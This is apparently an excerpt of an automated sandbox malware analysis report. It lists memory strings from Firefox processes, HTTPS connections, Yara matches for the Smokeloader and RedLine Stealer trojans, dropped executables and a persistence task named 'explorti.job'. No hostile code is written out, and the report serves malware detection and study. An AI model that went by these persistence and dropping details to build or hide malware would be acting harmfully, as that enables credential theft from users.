Source: firefox.exe, 0000001C.00000002.2764269512.000001F4018E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771088874.000001F401D9C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC4FB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2765179427.000001F40190C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2754098270.000001F4004BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2642592159.000001F3FB575000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2742790289.000001F3FF74E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2742790289.000001F3FF723000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC45A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2593833756.000001F3EF50D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEB09000.00000004.00000800.00020000.00000000.sdmp, places.sqlite-wal.28.dr	String found in binary or memory: https://www.youtube.com
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760099219.000001F401203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB6E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2612092313.000001F3FAD7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001C.00000002.2771088874.000001F401DB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2435363573.000001F4017D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2587849657.000001F3EF300000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2741348665.000001F3FF55D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F4017CD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2765179427.000001F40190C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2642592159.000001F3FB5F2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2642592159.000001F3FB575000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760366167.000001F4013D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2603369340.000001F3F0DF9000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC434000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2612092313.000001F3FADED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2435548375.000001F40136F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEB4A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC45A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEB09000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2608969227.000001F3FAC51000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2536648453.0000020BC8320000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2536648453.0000020BC832A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account
Source: firefox.exe, 0000001B.00000002.2208668139.0000020E12240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account--attempting-deelevation
Source: firefox.exe, 0000001C.00000002.2587849657.000001F3EF2F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountC:
Source: firefox.exe, 00000019.00000002.2166956297.0000027667459000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountIO
Source: firefox.exe, 0000001C.00000002.2738377059.000001F3FF2DD000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2603369340.000001F3F0DF9000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2536648453.0000020BC8320000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2557581882.0000020BC8710000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2557581882.0000020BC8714000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2557836360.0000021F9B580000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2557836360.0000021F9B584000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2533978892.0000021F9B190000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:
Source: firefox.exe, 00000019.00000002.2185548634.0000027667482000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2143827481.0000027667480000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2143690714.000002766746D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMA
Source: firefox.exe, 00000019.00000002.2188686956.00000276676D0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2143827481.0000027667480000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2166956297.0000027667450000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2143690714.000002766746D000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2354375210.000001C7575D4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2354375210.000001C7575D0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2354149245.000001C757250000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountapp.update.lastUpdateTime.%ID%
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accounthttps://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f0
Source: firefox.exe, 0000001C.00000002.2742790289.000001F3FF735000.00000004.00000800.00020000.00000000.sdmp, places.sqlite-wal.28.dr	String found in binary or memory: https://www.youtube.com/accountmoc.ebutuoy.www.
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountp
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountservices.sync.log.logger.browsertoolkit/branding/accounts.ftlsendTabC
Source: firefox.exe, 0000001C.00000003.2430591232.000001F401A6F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.commenu-bookmarks-mobile
Source: firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB6E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 0000001C.00000002.2760366167.000001F40137E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2435548375.000001F40138E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760366167.000001F40138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2281091035.000001F40138F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning
Source: firefox.exe, 0000001C.00000002.2742498029.000001F3FF6C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warningThe
Source: firefox.exe, 0000001C.00000003.2432050956.000001F40195E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2435363573.000001F4017D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2741348665.000001F3FF55D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F4017CD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2383402901.000001F401955000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC45A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000001C.00000003.2435041713.000001F40185A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEB2A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2772231477.000001F401E1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2764269512.000001F40185A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.comhighValueCOOP

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49221
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49207 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49199 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49238 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49208
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49207
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49206
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49202
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49200
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49202 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49200 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49241 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49241
Source: unknown	Network traffic detected: HTTP traffic on port 49221 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49206 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49238
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49233
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49199
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746

Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.7:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:49200 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.7:49202 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:49206 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.28.36.182:443 -> 192.168.2.7:49233 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000025.00000002.2537949533.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000025.00000002.2534257510.00000000025D1000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000013.00000002.2541855344.00000000025ED000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000013.00000002.2548613207.00000000040B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

PE file contains section with special chars

Source: JGKjBsQrMc.exe	Static PE information: section name:
Source: JGKjBsQrMc.exe	Static PE information: section name: .idata
Source: JGKjBsQrMc.exe	Static PE information: section name:
Source: explorti.exe.1.dr	Static PE information: section name:
Source: explorti.exe.1.dr	Static PE information: section name: .idata
Source: explorti.exe.1.dr	Static PE information: section name:
Source: random[1].exe.19.dr	Static PE information: section name:
Source: random[1].exe.19.dr	Static PE information: section name: .idata
Source: random[1].exe.19.dr	Static PE information: section name:
Source: RoamingJDHCBAEHJJ.exe.19.dr	Static PE information: section name:
Source: RoamingJDHCBAEHJJ.exe.19.dr	Static PE information: section name: .idata
Source: RoamingJDHCBAEHJJ.exe.19.dr	Static PE information: section name:
Source: RoamingDBFHCGCGDA.exe.19.dr	Static PE information: section name:
Source: RoamingDBFHCGCGDA.exe.19.dr	Static PE information: section name: .idata
Source: RoamingDBFHCGCGDA.exe.19.dr	Static PE information: section name:
Source: enter[1].exe.19.dr	Static PE information: section name:
Source: enter[1].exe.19.dr	Static PE information: section name: .idata
Source: enter[1].exe.19.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CB1B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	19_2_6CB1B700
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CB1B8C0 rand_s,NtQueryVirtualMemory,	19_2_6CB1B8C0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CB1B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	19_2_6CB1B910
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CABF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	19_2_6CABF280

Source: C:\Users\user\Desktop\JGKjBsQrMc.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 17_2_00EAE440	17_2_00EAE440
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 17_2_00EA4CF0	17_2_00EA4CF0
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 17_2_00EE3068	17_2_00EE3068
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 17_2_00ED7D83	17_2_00ED7D83
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 17_2_00EA4AF0	17_2_00EA4AF0
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 17_2_00EE765B	17_2_00EE765B
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 17_2_00EE2BD0	17_2_00EE2BD0
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 17_2_00EE777B	17_2_00EE777B
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 17_2_00EE8720	17_2_00EE8720
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 17_2_00EE6F09	17_2_00EE6F09
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CAB35A0	19_2_6CAB35A0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CB134A0	19_2_6CB134A0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CB1C4A0	19_2_6CB1C4A0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CAC6C80	19_2_6CAC6C80
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CABD4E0	19_2_6CABD4E0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CAF6CF0	19_2_6CAF6CF0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CAC64C0	19_2_6CAC64C0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CADD4D0	19_2_6CADD4D0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CB2542B	19_2_6CB2542B
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CB02C10	19_2_6CB02C10
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CB2AC00	19_2_6CB2AC00
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CAF5C10	19_2_6CAF5C10
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CAC5440	19_2_6CAC5440
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CB2545C	19_2_6CB2545C
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CB185F0	19_2_6CB185F0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CAF0DD0	19_2_6CAF0DD0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CACFD00	19_2_6CACFD00
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CAE0512	19_2_6CAE0512
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CADED10	19_2_6CADED10
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CB14EA0	19_2_6CB14EA0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CB1E680	19_2_6CB1E680
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CAD5E90	19_2_6CAD5E90
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CB276E3	19_2_6CB276E3
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CABBEF0	19_2_6CABBEF0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CACFEF0	19_2_6CACFEF0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CB19E30	19_2_6CB19E30
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CB05600	19_2_6CB05600
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CAF7E10	19_2_6CAF7E10
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CB26E63	19_2_6CB26E63
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CABC670	19_2_6CABC670
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CAD4640	19_2_6CAD4640
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CAD9E50	19_2_6CAD9E50
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CB02E4E	19_2_6CB02E4E
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CAF3E50	19_2_6CAF3E50
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CB077A0	19_2_6CB077A0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CABDFE0	19_2_6CABDFE0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CAE6FF0	19_2_6CAE6FF0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CAC9F00	19_2_6CAC9F00
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CAF7710	19_2_6CAF7710
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CAE60A0	19_2_6CAE60A0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CADC0E0	19_2_6CADC0E0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CAF58E0	19_2_6CAF58E0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CB250C7	19_2_6CB250C7
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CAFB820	19_2_6CAFB820
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CB04820	19_2_6CB04820
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CAC7810	19_2_6CAC7810
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CAFF070	19_2_6CAFF070
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CAD8850	19_2_6CAD8850
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CADD850	19_2_6CADD850
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CABC9A0	19_2_6CABC9A0
